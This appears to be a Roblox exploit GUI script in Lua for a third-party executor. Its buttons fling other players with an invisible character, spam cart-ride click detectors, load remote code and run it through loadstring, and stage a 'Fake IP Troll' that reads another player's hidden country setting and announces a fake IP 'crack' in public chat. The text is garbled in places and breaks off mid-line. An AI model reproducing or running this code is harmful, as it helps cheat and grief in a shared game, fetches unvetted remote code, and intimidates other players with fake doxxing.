[Link].TextColor3 = Color
Frame.BackgroundColor3 = Color
[Link] = LocalFrame

delay(60, function()
Frame:Destroy()
end)
end

local function OnNewChat(Message, Sender, Color)


if not ChatHUD or not [Link] then return end

NewGlobal(Message, Sender, Color)

local Distance = GetPlayerDistance(Sender)

if Distance and Distance <= ChatLocalRange then


NewLocal(Message, Sender, Color, Distance)
end
end

local function OnPlayerAdded(Player)


if not ChatHUD or not [Link] then return end

local Color = [Link]().Color

[Link]:Connect(function(Message)
OnNewChat(Message, Player, Color)
end)
end

[Link]:Connect(OnPlayerAdded)

for _, Player in pairs(Players:GetPlayers()) do


OnPlayerAdded(Player)
end

--

local ChatPart = [Link]

[Link] = ChatPart

if VRReady then
[Link] = game:GetService("CoreGui")
[Link] = true
[Link] = true

local OnInput =
[Link]:Connect(function(Input, Processed)
if not Processed then
if [Link] == [Link] then
[Link] = not [Link]
end
end
end)

local RenderStepped = [Link]:Connect(function()


local LeftHand =
VRService:GetUserCFrame([Link])

[Link] = [Link] * LeftHand


end)

local CharacterAdded

CharacterAdded = [Link]:Connect(function()
OnInput:Disconnect()
RenderStepped:Disconnect()
CharacterAdded:Disconnect()

ChatHUD:Destroy()
ChatHUD = nil
end)
end

wait(9e9)
end;

ViewHUDFunc = function()
--[[
Variables
--]]

local ViewportRange = ViewportRange or 32

local UserInputService = game:GetService("UserInputService")


local RunService = game:GetService("RunService")

local VRService = game:GetService("VRService")


local VRReady = [Link]

local Players = game:GetService("Players")


local Client = [Link]
local Mouse = Client:GetMouse()

local Camera = [Link]


local CameraPort = [Link]

local ViewHUD = script:FindFirstChild("ViewHUD") or


game:GetObjects("rbxassetid://4480405425")[1]
local Viewport = [Link]
local Viewcam = [Link]("Camera")
local ViewPart = [Link]

[Link] = game:GetService("CoreGui")

[Link] = Viewport
[Link] = [Link]
[Link] = Viewcam
[Link] = 1
--[[
Code
--]]

local function Clone(Character)


local Arc = [Link]
local Clone;

[Link] = true
Clone = Character:Clone()
[Link] = Arc

return Clone
end

local function GetPart(Name, Parent, Descendants)


for i = 1, #Descendants do
local Part = Descendants[i]

if [Link] == Name and [Link] == Parent then


return Part
end
end
end

local function OnPlayerAdded(Player)


if not ViewHUD or not [Link] then return end

local function CharacterAdded(Character)


if not ViewHUD or not [Link] then return end

Character:WaitForChild("Head")
Character:WaitForChild("Humanoid")

wait(3)

local FakeChar = Clone(Character)


local Root = FakeChar:FindFirstChild("HumanoidRootPart") or
FakeChar:FindFirstChild("Head")
local RenderConnection;

local Descendants = FakeChar:GetDescendants()


local RealDescendants = Character:GetDescendants()
local Correspondents = {};

[Link] = "None"

for i = 1, #Descendants do
local Part = Descendants[i]
local Real = Part:IsA("BasePart") and
GetPart([Link], [Link], RealDescendants)

if Part:IsA("BasePart") and Real then


[Link] = true
Part:BreakJoints()

if [Link]:IsA("Accessory") then
[Link] = 0
end

[Link](Correspondents, {Part, Real})


end
end

RenderConnection =
[Link]:Connect(function()
if not Character or not [Link] then
RenderConnection:Disconnect()
FakeChar:Destroy()

return
end

if (Root and ([Link] -


[Link].p).Magnitude <= ViewportRange) or Player == Client or not Root then
for i = 1, #Correspondents do
local Part, Real =
unpack(Correspondents[i])

if Part and Real and [Link] and


[Link] then
[Link] = [Link]
elseif [Link] and not [Link]
then
Part:Destroy()
end
end
end
end)

[Link] = Viewcam
end

[Link]:Connect(CharacterAdded)

if [Link] then
spawn(function()
CharacterAdded([Link])
end)
end
end

local PlayerAdded = [Link]:Connect(OnPlayerAdded)

for _, Player in pairs(Players:GetPlayers()) do


OnPlayerAdded(Player)
end

[Link] = [Link]()

if VRReady then
[Link] = [Link](.62, 0, .89, 0)
[Link] = [Link](.3, 0, .3, 0)
[Link] = [Link](.5, 1)
else
[Link] = [Link](0.3, 0, 0.3, 0)
end
local RenderStepped = [Link]:Connect(function()
local Render = [Link]
local Scale = [Link]

if VRReady then
Render = Render *
VRService:GetUserCFrame([Link])
end

CameraPort = [Link](Render.p + [Link](5, 2, 0),


Render.p)

[Link] = CameraPort

[Link] = Render * [Link](0, 0, -16)

[Link] = [Link](0, Scale.X - 6, 0, Scale.Y - 6)


end)

--

local CharacterAdded

CharacterAdded = [Link]:Connect(function()
RenderStepped:Disconnect()
CharacterAdded:Disconnect()
PlayerAdded:Disconnect()

ViewHUD:Destroy()
ViewHUD = nil
end)

wait(9e9)
end;

Script()

wait(2)

local Players = game:GetService("Players")


local lp = [Link]
local character = [Link]
local A0LL = [Link]("Attachment", character["Left Leg"])
[Link] = [Link](0, 1, 0)
local A1LL = [Link]("Attachment", character["Torso"])
[Link] = [Link](-0.5, -1, 0)
local socket1 = [Link]("BallSocketConstraint", character["Left Leg"])
socket1.Attachment0 = A0LL
socket1.Attachment1 = A1LL
local A0RL = [Link]("Attachment", character["Right Leg"])
[Link] = [Link](0, 1, 0)
local A1RL = [Link]("Attachment", character["Torso"])
[Link] = [Link](0.5, -1, 0)
local socket2 = [Link]("BallSocketConstraint", character["Right Leg"])
socket2.Attachment0 = A0RL
socket2.Attachment1 = A1RL
local A0H = [Link]("Attachment", character["Head"])
[Link] = [Link](0, -0.5, 0)
local A1H = [Link]("Attachment", character["Torso"])
[Link] = [Link](0, 1, 0)
local socket5 = [Link]("BallSocketConstraint", character["Head"])
socket5.Attachment0 = A0H
socket5.Attachment1 = A1H
loadstring(game:HttpGet("[Link]
-----------------------------------------------------------
wait(9e9)
end)

[Link] = "invisfling"
[Link] = Frame
invisfling.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.900
invisfling.BorderColor3 = [Link](100, 173, 111)
[Link] = 0
[Link] = [Link](0.0787409693, 0, 0.303153634, 0)
[Link] = [Link](0, 266, 0, 27)
[Link] = [Link]
[Link] = "Invis Fling (Z)"
invisfling.TextColor3 = [Link](0, 0, 0)
[Link] = 15.000
invisfling.MouseButton1Down:connect(function()

spawn(function()
local message = [Link]("Message",workspace)
[Link] = "Loaded press z to execute inviseble , press x to
respawn)"
wait(0.5)
message:Destroy()
end)

local mouse = [Link]:GetMouse()

local groot = nil

[Link]:connect(function(k)

if k == "z" then

spawn(function()
local message = [Link]("Message",workspace)
[Link] = "Fe Invisible Fling By Diemiers#4209 Loaded
(wait 11 seconds to load)"
wait(11)
message:Destroy()
end)

local ch = [Link]
local prt=[Link]("Model", workspace)
local z1 = [Link]("Part", prt)
[Link]="Torso"
[Link] = false
[Link] = true
local z2 =[Link]("Part", prt)
[Link]="Head"
[Link] = true
[Link] = false
local z3 =[Link]("Humanoid", prt)
[Link]="Humanoid"
[Link] = [Link](0,9999,0)
[Link] = [Link](0,9991,0)
[Link]=prt
wait(5)
[Link]=ch
wait(6)

local plr = [Link]


mouse = plr:GetMouse()

local Hum = [Link]("Humanoid")


[Link] = [Link]

local root = [Link]

for i,v in pairs([Link]:GetChildren()) do

if v ~= root and [Link] ~= "Humanoid" then

v:Destroy()

end

end

[Link] = root

local se = [Link]("SelectionBox",root)
[Link] = root

game:GetService('RunService').Stepped:connect(function()

[Link] = false
end)
game:GetService('RunService').RenderStepped:connect(function()

[Link] = false
end)

power = 999999 -- change this to make it more or less powerful

power = power*10
---
wait(.1)
local bambam = [Link]("BodyThrust")
[Link] =
[Link]
[Link] = [Link](power,0,power)
[Link] =
[Link]

local plr = [Link]


local torso = root
local flying = true
local deb = true
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 120
local speed = 15

---local bambam = [Link]("BodyThrust")


---[Link] = torso
--[Link] = [Link](9999999,0,9999999)
--[Link] = [Link]

---
groot = root

function Fly()
local bg = [Link]("BodyGyro", torso)
bg.P = 9e4
[Link] = [Link](0, 0, 0)
[Link] = [Link]
local bv = [Link]("BodyVelocity", torso)
[Link] = [Link](0,0,0)
[Link] = [Link](9e9, 9e9, 9e9)
repeat wait()

if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then


speed = speed+.2
if speed > maxspeed then
speed = maxspeed
end
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b
~= 0) and speed ~= 0 then
speed = speed-1
if speed < 0 then
speed = 0
end
end
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0
then
[Link] =
(([Link] * (ctrl.f+ctrl.b)) +
(([Link] * [Link](ctrl.l+ctrl.r,
(ctrl.f+ctrl.b)*.2,0).p) - [Link].p))*speed
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l,
r = ctrl.r}
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b)
== 0 and speed ~= 0 then
[Link] =
(([Link] *
(lastctrl.f+lastctrl.b)) + (([Link] *
[Link](lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) -
[Link].p))*speed
else
[Link] = [Link](0,0.1,0)
end

until not flying


ctrl = {f = 0, b = 0, l = 0, r = 0}
lastctrl = {f = 0, b = 0, l = 0, r = 0}
speed = 0
bg:Destroy()
bv:Destroy()

end
[Link]:connect(function(key)
if key:lower() == "e" then
if flying then flying = false
else
flying = true
Fly()
end
elseif key:lower() == "w" then
ctrl.f = 1
elseif key:lower() == "s" then
ctrl.b = -1
elseif key:lower() == "a" then
ctrl.l = -1
elseif key:lower() == "d" then
ctrl.r = 1
end
end)
[Link]:connect(function(key)
if key:lower() == "w" then
ctrl.f = 0
elseif key:lower() == "s" then
ctrl.b = 0
elseif key:lower() == "a" then
ctrl.l = 0
elseif key:lower() == "d" then
ctrl.r = 0
elseif key:lower() == "r" then

end
end)
Fly()

elseif k == "x" then


spawn(function()
local message = [Link]("Message",workspace)
[Link] = "Respawning dont spam"
wait(1)
message:Destroy()
end)

local saved = [Link]

local ch = [Link]
local prt=[Link]("Model", workspace)
local z1 = [Link]("Part", prt)
[Link]="Torso"
[Link] = false
[Link] = true
local z2 =[Link]("Part", prt)
[Link]="Head"
[Link] = true
[Link] = false
local z3 =[Link]("Humanoid", prt)
[Link]="Humanoid"
[Link] = [Link](0,9999,0)
[Link] = [Link](0,9991,0)
[Link]=prt
wait(5)
[Link]=ch
local poop = nil
repeat wait() poop =
[Link]:FindFirstChild("Head") until poop ~= nil
wait(1)

game:GetService("Players").[Link] =
[Link](saved)

end

end)
end)
[Link] = "cartride"
[Link] = Frame
cartride.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.900
cartride.BorderColor3 = [Link](100, 173, 111)
[Link] = 0
[Link] = [Link](0.0787409693, 0, 0.388590336, 0)
[Link] = [Link](0, 266, 0, 27)
[Link] = [Link]
[Link] = "Cart Ride Spam (OP)"
cartride.TextColor3 = [Link](0, 0, 0)
[Link] = 15.000
cartride.MouseButton1Down:connect(function()
for i, v in pairs(workspace:GetDescendants()) do
if [Link] == "Up" and [Link] == "ClickDetector" then
spawn(function()
while true do
wait()
if v then
fireclickdetector(v)
else
break;
end
end
end)
elseif [Link] == "On" and [Link] == "ClickDetector" then
if [Link] ~= [Link]("Dark green") then
fireclickdetector(v)
end

[Link]:GetPropertyChangedSignal("BrickColor"):Connect(function()
if [Link] ~= [Link]("Dark green") then
fireclickdetector(v)
end
end)
end
end

[Link]:Connect(function(descendant)
if [Link] == "Up" and [Link] ==
"ClickDetector" then
spawn(function()
while true do
wait()
if descendant then
fireclickdetector(descendant)
else
break;
end
end
end)
elseif [Link] == "On" and [Link] ==
"ClickDetector" then
if [Link] ~= [Link]("Dark green")
then
fireclickdetector(descendant)
end

[Link]:GetPropertyChangedSignal("BrickColor"):Connect(function()
if [Link] ~= [Link]("Dark
green") then
fireclickdetector(descendant)
end
end)
end
end)
end)
[Link] = "credits"
[Link] = Frame
credits.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.900
credits.BorderColor3 = [Link](100, 173, 111)
[Link] = 0
[Link] = [Link](0.0755864084, 0, 0.852172077, 0)
[Link] = [Link](0, 266, 0, 46)
[Link] = [Link]
[Link] = "Gui made by ItsMoth / gerald #1234"
credits.TextColor3 = [Link](0, 0, 0)
[Link] = 15.000

[Link] = "psyhub"
[Link] = Frame
psyhub.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.900
psyhub.BorderColor3 = [Link](100, 173, 111)
[Link] = 0
[Link] = [Link](0.0755863935, 0, 0.480898023, 0)
[Link] = [Link](0, 266, 0, 27)
[Link] = [Link]
[Link] = "Psy Hub"
psyhub.TextColor3 = [Link](0, 0, 0)
[Link] = 15.000
psyhub.MouseButton1Down:connect(function()
loadstring(game:GetObjects("rbxassetid://3014051754")[1].Source)()
end)
[Link] = "freecam"
[Link] = Frame
freecam.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.900
freecam.BorderColor3 = [Link](100, 173, 111)
[Link] = 0
[Link] = [Link](0.0755863935, 0, 0.568077505, 0)
[Link] = [Link](0, 266, 0, 27)
[Link] = [Link]
[Link] = "Free Cam (Shift + P)"
freecam.TextColor3 = [Link](0, 0, 0)
[Link] = 15.000
freecam.MouseButton1Down:connect(function()
function sandbox(var,func)
local env = getfenv(func)
local newenv = setmetatable({},{
__index = function(self,k)
if k=="script" then
return var
else
return env[k]
end
end,
})
setfenv(func,newenv)
return func
end
cors = {}
mas = [Link]("Model",game:GetService("Lighting"))
LocalScript0 = [Link]("LocalScript")
[Link] = "FreeCamera"
[Link] = mas
[Link](cors,sandbox(LocalScript0,function()
-----------------------------------------------------------------------
-- Freecam
-- Cinematic free camera for spectating and video production.
-----------------------------------------------------------------------
-

local pi = [Link]
local abs = [Link]
local clamp = [Link]
local exp = [Link]
local rad = [Link]
local sign = [Link]
local sqrt = [Link]
local tan = [Link]

local ContextActionService = game:GetService("ContextActionService")


local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local StarterGui = game:GetService("StarterGui")
local UserInputService = game:GetService("UserInputService")

local LocalPlayer = [Link]


if not LocalPlayer then
Players:GetPropertyChangedSignal("LocalPlayer"):Wait()
LocalPlayer = [Link]
end

local Camera = [Link]


workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function()
local newCamera = [Link]
if newCamera then
Camera = newCamera
end
end)

-----------------------------------------------------------------------
-

local TOGGLE_INPUT_PRIORITY = [Link]


local INPUT_PRIORITY = [Link]
local FREECAM_MACRO_KB = {[Link], [Link].P}

local NAV_GAIN = [Link](1, 1, 1)*64


local PAN_GAIN = [Link](0.75, 1)*8
local FOV_GAIN = 300

local PITCH_LIMIT = rad(90)

local VEL_STIFFNESS = 1.5


local PAN_STIFFNESS = 1.0
local FOV_STIFFNESS = 4.0

-----------------------------------------------------------------------
-

local Spring = {} do
Spring.__index = Spring

function [Link](freq, pos)


local self = setmetatable({}, Spring)
self.f = freq
self.p = pos
self.v = pos*0
return self
end

function Spring:Update(dt, goal)


local f = self.f*2*pi
local p0 = self.p
local v0 = self.v

local offset = goal - p0


local decay = exp(-f*dt)

local p1 = goal + (v0*dt - offset*(f*dt + 1))*decay


local v1 = (f*dt*(offset*f - v0) + v0)*decay

self.p = p1
self.v = v1

return p1
end

function Spring:Reset(pos)
self.p = pos
self.v = pos*0
end
end

-----------------------------------------------------------------------
-

local cameraPos = [Link]()


local cameraRot = [Link]()
local cameraFov = 0

local velSpring = [Link](VEL_STIFFNESS, [Link]())


local panSpring = [Link](PAN_STIFFNESS, [Link]())
local fovSpring = [Link](FOV_STIFFNESS, 0)

-----------------------------------------------------------------------
-

local Input = {} do
local thumbstickCurve do
local K_CURVATURE = 2.0
local K_DEADZONE = 0.15

local function fCurve(x)


return (exp(K_CURVATURE*x) - 1)/(exp(K_CURVATURE) -
1)
end

local function fDeadzone(x)


return fCurve((x - K_DEADZONE)/(1 - K_DEADZONE))
end

function thumbstickCurve(x)
return sign(x)*clamp(fDeadzone(abs(x)), 0, 1)
end
end

local gamepad = {
ButtonX = 0,
ButtonY = 0,
DPadDown = 0,
DPadUp = 0,
ButtonL2 = 0,
ButtonR2 = 0,
Thumbstick1 = [Link](),
Thumbstick2 = [Link](),
}

local keyboard = {
W = 0,
A = 0,
S = 0,
D = 0,
E = 0,
Q = 0,
U = 0,
H = 0,
J = 0,
K = 0,
I = 0,
Y = 0,
Up = 0,
Down = 0,
LeftShift = 0,
RightShift = 0,
}

local mouse = {
Delta = [Link](),
MouseWheel = 0,
}

local NAV_GAMEPAD_SPEED = [Link](1, 1, 1)


local NAV_KEYBOARD_SPEED = [Link](1, 1, 1)
local PAN_MOUSE_SPEED = [Link](1, 1)*(pi/64)
local PAN_GAMEPAD_SPEED = [Link](1, 1)*(pi/8)
local FOV_WHEEL_SPEED = 1.0
local FOV_GAMEPAD_SPEED = 0.25
local NAV_ADJ_SPEED = 0.75
local NAV_SHIFT_MUL = 0.25

local navSpeed = 1

function [Link](dt)
navSpeed = clamp(navSpeed + dt*([Link] -
[Link])*NAV_ADJ_SPEED, 0.01, 4)

local kGamepad = [Link](


thumbstickCurve(gamepad.Thumbstick1.x),
thumbstickCurve(gamepad.ButtonR2) -
thumbstickCurve(gamepad.ButtonL2),
thumbstickCurve(-gamepad.Thumbstick1.y)
)*NAV_GAMEPAD_SPEED

local kKeyboard = [Link](


keyboard.D - keyboard.A + keyboard.K - keyboard.H,
keyboard.E - keyboard.Q + keyboard.I - keyboard.Y,
keyboard.S - keyboard.W + keyboard.J - keyboard.U
)*NAV_KEYBOARD_SPEED

local shift =
UserInputService:IsKeyDown([Link]) or
UserInputService:IsKeyDown([Link])

return (kGamepad + kKeyboard)*(navSpeed*(shift and


NAV_SHIFT_MUL or 1))
end

function [Link](dt)
local kGamepad = [Link](
thumbstickCurve(gamepad.Thumbstick2.y),
thumbstickCurve(-gamepad.Thumbstick2.x)
)*PAN_GAMEPAD_SPEED
local kMouse = [Link]*PAN_MOUSE_SPEED
[Link] = [Link]()
return kGamepad + kMouse
end

function [Link](dt)
local kGamepad = ([Link] -
[Link])*FOV_GAMEPAD_SPEED
local kMouse = [Link]*FOV_WHEEL_SPEED
[Link] = 0
return kGamepad + kMouse
end

do
local function Keypress(action, state, input)
keyboard[[Link]] = state ==
[Link] and 1 or 0
return [Link]
end

local function GpButton(action, state, input)


gamepad[[Link]] = state ==
[Link] and 1 or 0
return [Link]
end

local function MousePan(action, state, input)


local delta = [Link]
[Link] = [Link](-delta.y, -delta.x)
return [Link]
end

local function Thumb(action, state, input)


gamepad[[Link]] = [Link]
return [Link]
end

local function Trigger(action, state, input)


gamepad[[Link]] = [Link].z
return [Link]
end

local function MouseWheel(action, state, input)


mouse[[Link]] = -[Link].z
return [Link]
end
local function Zero(t)
for k, v in pairs(t) do
t[k] = v*0
end
end

function [Link]()

ContextActionService:BindActionAtPriority("FreecamKeyboard", Keypress, false,


INPUT_PRIORITY,
[Link].W, [Link].U,
[Link].A, [Link].H,
[Link].S, [Link].J,
[Link].D, [Link].K,
[Link].E, [Link].I,
[Link].Q, [Link].Y,
[Link], [Link]
)

ContextActionService:BindActionAtPriority("FreecamMousePan",
MousePan, false, INPUT_PRIORITY, [Link])

ContextActionService:BindActionAtPriority("FreecamMouseWheel",
MouseWheel, false, INPUT_PRIORITY, [Link])

ContextActionService:BindActionAtPriority("FreecamGamepadButton",
GpButton, false, INPUT_PRIORITY, [Link], [Link])

ContextActionService:BindActionAtPriority("FreecamGamepadTrigger",
Trigger, false, INPUT_PRIORITY, [Link].ButtonR2, [Link].ButtonL2)

ContextActionService:BindActionAtPriority("FreecamGamepadThumbstick", Thumb,
false, INPUT_PRIORITY, [Link].Thumbstick1, [Link].Thumbstick2)
end

function [Link]()
navSpeed = 1
Zero(gamepad)
Zero(keyboard)
Zero(mouse)
ContextActionService:UnbindAction("FreecamKeyboard")
ContextActionService:UnbindAction("FreecamMousePan")

ContextActionService:UnbindAction("FreecamMouseWheel")

ContextActionService:UnbindAction("FreecamGamepadButton")

ContextActionService:UnbindAction("FreecamGamepadTrigger")

ContextActionService:UnbindAction("FreecamGamepadThumbstick")
end
end
end

local function GetFocusDistance(cameraFrame)


local znear = 0.1
local viewport = [Link]
local projy = 2*tan(cameraFov/2)
local projx = viewport.x/viewport.y*projy
local fx = [Link]
local fy = [Link]
local fz = [Link]

local minVect = [Link]()


local minDist = 512

for x = 0, 1, 0.5 do
for y = 0, 1, 0.5 do
local cx = (x - 0.5)*projx
local cy = (y - 0.5)*projy
local offset = fx*cx - fy*cy + fz
local origin = cameraFrame.p + offset*znear
local part, hit =
workspace:FindPartOnRay([Link](origin, [Link]*minDist))
local dist = (hit - origin).magnitude
if minDist > dist then
minDist = dist
minVect = [Link]
end
end
end

return fz:Dot(minVect)*minDist
end

-----------------------------------------------------------------------
-

local function StepFreecam(dt)


local vel = velSpring:Update(dt, [Link](dt))
local pan = panSpring:Update(dt, [Link](dt))
local fov = fovSpring:Update(dt, [Link](dt))

local zoomFactor = sqrt(tan(rad(70/2))/tan(rad(cameraFov/2)))

cameraFov = clamp(cameraFov + fov*FOV_GAIN*(dt/zoomFactor), 1,


120)
cameraRot = cameraRot + pan*PAN_GAIN*(dt/zoomFactor)
cameraRot = [Link](clamp(cameraRot.x, -PITCH_LIMIT,
PITCH_LIMIT), cameraRot.y%(2*pi))

local cameraCFrame =
[Link](cameraPos)*[Link](cameraRot.x, cameraRot.y,
0)*[Link](vel*NAV_GAIN*dt)
cameraPos = cameraCFrame.p

[Link] = cameraCFrame
[Link] = cameraCFrame*[Link](0, 0,
-GetFocusDistance(cameraCFrame))
[Link] = cameraFov
end

-----------------------------------------------------------------------
-

local PlayerState = {} do
local mouseIconEnabled
local cameraSubject
local cameraType
local cameraFocus
local cameraCFrame
local cameraFieldOfView
local screenGuis = {}
local coreGuis = {
Backpack = true,
Chat = true,
Health = true,
PlayerList = true,
}
local setCores = {
BadgesNotificationsActive = true,
PointsNotificationsActive = true,
}

-- Save state and set up for freecam


function [Link]()
for name in pairs(coreGuis) do
coreGuis[name] =
StarterGui:GetCoreGuiEnabled([Link][name])
StarterGui:SetCoreGuiEnabled([Link][name],
false)
end
for name in pairs(setCores) do
setCores[name] = StarterGui:GetCore(name)
StarterGui:SetCore(name, false)
end
local playergui =
LocalPlayer:FindFirstChildOfClass("PlayerGui")
if playergui then
for _, gui in pairs(playergui:GetChildren()) do
if gui:IsA("ScreenGui") and [Link] then
screenGuis[#screenGuis + 1] = gui
[Link] = false
end
end
end

cameraFieldOfView = [Link]
[Link] = 70

cameraType = [Link]
[Link] = [Link]

cameraSubject = [Link]
[Link] = nil

cameraCFrame = [Link]
cameraFocus = [Link]

mouseIconEnabled = [Link]
[Link] = false

mouseBehavior = [Link]
[Link] = [Link]
end

-- Restore state
function [Link]()
for name, isEnabled in pairs(coreGuis) do
StarterGui:SetCoreGuiEnabled([Link][name],
isEnabled)
end
for name, isEnabled in pairs(setCores) do
StarterGui:SetCore(name, isEnabled)
end
for _, gui in pairs(screenGuis) do
if [Link] then
[Link] = true
end
end

[Link] = cameraFieldOfView
cameraFieldOfView = nil

[Link] = cameraType
cameraType = nil

[Link] = cameraSubject
cameraSubject = nil

[Link] = cameraCFrame
cameraCFrame = nil

[Link] = cameraFocus
cameraFocus = nil

[Link] = mouseIconEnabled
mouseIconEnabled = nil

[Link] = mouseBehavior
mouseBehavior = nil
end
end

local function StartFreecam()


local cameraCFrame = [Link]
cameraRot = [Link](cameraCFrame:toEulerAnglesYXZ())
cameraPos = cameraCFrame.p
cameraFov = [Link]

velSpring:Reset([Link]())
panSpring:Reset([Link]())
fovSpring:Reset(0)

[Link]()
RunService:BindToRenderStep("Freecam",
[Link], StepFreecam)
[Link]()
end

local function StopFreecam()


[Link]()
RunService:UnbindFromRenderStep("Freecam")
[Link]()
end
-----------------------------------------------------------------------
-

do
local enabled = false

local function ToggleFreecam()


if enabled then
StopFreecam()
else
StartFreecam()
end
enabled = not enabled
end

local function CheckMacro(macro)


for i = 1, #macro - 1 do
if not UserInputService:IsKeyDown(macro[i]) then
return
end
end
ToggleFreecam()
end

local function HandleActivationInput(action, state, input)


if state == [Link] then
if [Link] ==
FREECAM_MACRO_KB[#FREECAM_MACRO_KB] then
CheckMacro(FREECAM_MACRO_KB)
end
end
return [Link]
end

ContextActionService:BindActionAtPriority("FreecamToggle",
HandleActivationInput, false, TOGGLE_INPUT_PRIORITY,
FREECAM_MACRO_KB[#FREECAM_MACRO_KB])
end
end))
for i,v in pairs(mas:GetChildren()) do
[Link] = game:GetService("Players").[Link]
pcall(function() v:MakeJoints() end)
end
mas:Destroy()
for i,v in pairs(cors) do
spawn(function()
pcall(v)
end)
end
end)

[Link] = "fakeip"
[Link] = Frame
fakeip.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 0.900
fakeip.BorderColor3 = [Link](100, 173, 111)
[Link] = 0
[Link] = [Link](0.0755863935, 0, 0.660385191, 0)
[Link] = [Link](0, 266, 0, 27)
[Link] = [Link]
[Link] = "Fake IP Troll"
fakeip.TextColor3 = [Link](0, 0, 0)
[Link] = 15.000
fakeip.MouseButton1Down:connect(function()
-- Gui to Lua
-- Version: 3.2

-- Instances:

local ScreenGui = [Link]("ScreenGui")


local Frame = [Link]("ImageLabel")
local TextLabel = [Link]("TextLabel")
local TextLabel_2 = [Link]("TextLabel")
local close = [Link]("TextButton")
local TextLabel_3 = [Link]("TextLabel")
local TextLabel_4 = [Link]("TextLabel")
local username = [Link]("TextBox")
local snatch = [Link]("TextButton")
local TextButton_Roundify_12px = [Link]("ImageLabel")
local miscbut = [Link]("TextButton")
local MISC = [Link]("ImageLabel")
local TextLabel_5 = [Link]("TextLabel")
local TextLabel_6 = [Link]("TextLabel")
local snatchall = [Link]("TextButton")
local TextButton_Roundify_12px_2 = [Link]("ImageLabel")
local TextLabel_7 = [Link]("TextLabel")
[Link] = true
[Link] = true
[Link] = true
local sound = [Link]("Sound")
[Link] = workspace
[Link] = "rbxassetid://5292029547"
sound:Play()

--Properties:

[Link] = [Link]

[Link] = "Frame"
[Link] = ScreenGui
Frame.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.000
[Link] = [Link](0.152727276, 0, 0.277641267, 0)
[Link] = [Link](0, 0, 0, 0)
[Link] = 3
[Link] = "rbxassetid://3570695787"
Frame.ImageColor3 = [Link](20, 20, 20)
[Link] = [Link]
[Link] = [Link](100, 100, 100, 100)
[Link] = 0.120
[Link] = true

[Link] = Frame
TextLabel.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.000
[Link] = [Link](0.026143793, 0, 0.0232558139, 0)
[Link] = [Link](0, 22, 0, 24)
[Link] = 3
[Link] = [Link]
[Link] = "IP"
TextLabel.TextColor3 = [Link](255, 85, 0)
[Link] = 25.000

TextLabel_2.Parent = Frame
TextLabel_2.BackgroundColor3 = [Link](255, 255, 255)
TextLabel_2.BackgroundTransparency = 1.000
TextLabel_2.Position = [Link](0.0980392173, 0, 0.0232558139, 0)
TextLabel_2.Size = [Link](0, 102, 0, 24)
TextLabel_2.ZIndex = 3
TextLabel_2.Font = [Link]
TextLabel_2.Text = "LOGGER"
TextLabel_2.TextColor3 = [Link](255, 255, 255)
TextLabel_2.TextSize = 25.000

[Link] = "close"
[Link] = Frame
close.BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.010
[Link] = [Link](0.934640527, 0, 0.0232558139, 0)
[Link] = [Link](0, 20, 0, 20)
[Link] = 3
[Link] = [Link]
[Link] = "X"
close.TextColor3 = [Link](255, 0, 0)
[Link] = true
[Link] = 14.000
[Link] = true

TextLabel_3.Parent = Frame
TextLabel_3.BackgroundColor3 = [Link](255, 255, 255)
TextLabel_3.BackgroundTransparency = 1.000
TextLabel_3.Position = [Link](7.4505806e-09, 0, 0.860465109, 0)
TextLabel_3.Size = [Link](0, 214, 0, 24)
TextLabel_3.ZIndex = 3
TextLabel_3.Font = [Link]
TextLabel_3.Text = "Gui & Code Remade: fixed#8267"
TextLabel_3.TextColor3 = [Link](255, 255, 255)
TextLabel_3.TextSize = 15.000

TextLabel_4.Parent = Frame
TextLabel_4.BackgroundColor3 = [Link](255, 255, 255)
TextLabel_4.BackgroundTransparency = 1.000
TextLabel_4.Position = [Link](0, 0, 0.767441869, 0)
TextLabel_4.Size = [Link](0, 240, 0, 24)
TextLabel_4.ZIndex = 3
TextLabel_4.Font = [Link]
TextLabel_4.Text = "Gui & Code Revamp: Univrs#7207"
TextLabel_4.TextColor3 = [Link](255, 255, 255)
TextLabel_4.TextSize = 15.000

[Link] = "username"
[Link] = Frame
username.BackgroundColor3 = [Link](255, 128, 0)
[Link] = 1.000
[Link] = 0
[Link] = [Link](0.173202619, 0, 0.313953489, 0)
[Link] = [Link](0, 200, 0, 24)
[Link] = 3
[Link] = [Link]
username.PlaceholderColor3 = [Link](178, 178, 178)
[Link] = "Input User"
[Link] = ""
username.TextColor3 = [Link](255, 255, 255)
[Link] = 14.000

[Link] = "LogFakeIp"
[Link] = Frame
snatch.BackgroundColor3 = [Link](255, 128, 0)
[Link] = 1.000
[Link] = 0
[Link] = [Link](0.205882356, 0, 0.511627913, 0)
[Link] = [Link](0, 180, 0, 28)
[Link] = 4
[Link] = [Link]
[Link] = "Take Ip"
snatch.TextColor3 = [Link](255, 255, 255)
[Link] = true
[Link] = 14.000
[Link] = true
snatch.MouseButton1Down:connect(function()
local v = [Link][[Link]]
ass = gethiddenproperty or get_hidden_prop
local Thing =
game:GetService("HttpService"):JSONDecode(game:HttpGet("[Link]
n"))
local ParsedCountry = Thing[ass(v, "CountryRegionCodeReplicate")]
local SayMessageRequest1 =
game:GetService("ReplicatedStorage").[Link]
SayMessageRequest1:FireServer(
[Link].." - Cracking IP Address...",
"All"
)
wait(2)
local SayMessageRequest =
game:GetService("ReplicatedStorage").[Link]
SayMessageRequest:FireServer(
[Link].." is from "..tostring(ParsedCountry).." OS:
"..[Link].." IP:
